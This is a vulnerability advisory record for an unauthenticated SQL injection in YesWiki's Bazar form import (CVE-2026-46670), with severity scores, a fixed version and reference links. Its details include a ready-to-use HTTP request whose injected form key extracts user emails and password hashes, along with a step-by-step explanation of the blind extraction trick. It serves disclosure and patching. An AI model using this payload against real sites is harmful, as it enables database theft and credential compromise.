{"id":"CVE-2026-46670","aliases":["GHSA-jwvv-qr7q-cv8j"],"url":"https://o3.security/vulnerability/CVE-2026-46670","summary":"YesWiki: Unauthenticated SQL Injection","details":"### Summary\n\nAn unauthenticated SQL injection in the Bazar form-import path (`FormManager::create()`) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an `INSERT` statement and read the full database, including `yeswiki_users.password` hashes. Present in 4.6.1 / 4.6.2 / current `doryphore-dev`; analyzed against upstream commit `1f485c049db030b94c047ec219e63534ac81142e`.\n\n### Details\n\nSink is at `FormManager::create()` (function at L232), unquoted concatenation of `bn_id_nature` into the `INSERT VALUES` list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258 \n\nReachability is unauthenticated.\n\n\n### PoC\n\n1. Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)\n2. Bring up the service using docker: `cd docker && docker compose build && docker compose up`\n3. Go to `https://localhost:8085`\n4. Go through the installation\n5. Run the POC: \n[yeswiki_sqli_poc.py](https://github.com/user-attachments/files/27578633/yeswiki_sqli_poc.py)\n\n<img width=\"672\" height=\"54\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fc9a9adf-7d09-442b-bcc1-8edf1bdcf0a1\" />\n\n\n### Impact\nSql injection.\nAn attacker can dump the whole db, including usernames, emails, and hashed passwords.\n\n\n### More details\nSample http request (copied from burp):\n```\nPOST /?BazaR&vue=formulaire HTTP/1.1\nAccept-Encoding: gzip, deflate, br\nContent-Length: 353\nHost: localhost:8085\nUser-Agent: Python-urllib/3.13\nContent-Type: application/x-www-form-urlencoded\nConnection: keep-alive\n\nimported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D\n```\n\n#### POC internals:\nThe PoC uses an expression like:\n`7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))`\n\n**Breakdown**\n`SELECT HEX(VERSION())` or whatever the statement is (the poc file  dumps 1 username and password)\nThis gets the database version and hex-encodes it.\nExample:\n```\nVERSION()      = 9.7.0\nHEX(VERSION()) = 392E372E30\n```\nThen:\n`SUBSTRING((SELECT HEX(VERSION())), 1, 1)` takes one character from that hex string. \nFor position 1, this returns `3`, then: `ASCII(...)` converts that character to its ASCII code: `ASCII('3') = 51`\nThen:\n`7330000 + 51` produces `7330051`\nSo the full vulnerable insert becomes roughly:\n```\nINSERT INTO yeswiki_nature (..., bn_id_nature, ...)\nVALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), \"fr-FR\", ...);\n```\nMySQL evaluates the expression before storing it, so the inserted row has: `bn_id_nature = 7330051`\nThe PoC reads that ID from `/?api/forms`, subtracts `7330000`, gets `51`, converts `51` back to '3', and repeats for the next character.","published":"2026-08-11T13:58:32.762Z","modified":"2026-09-11T03:30:57.221562566Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.01652,"percentile":0.74511,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46670.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwvv-qr7q-cv8j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46670"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-11T03:30:57.221562566Z"}}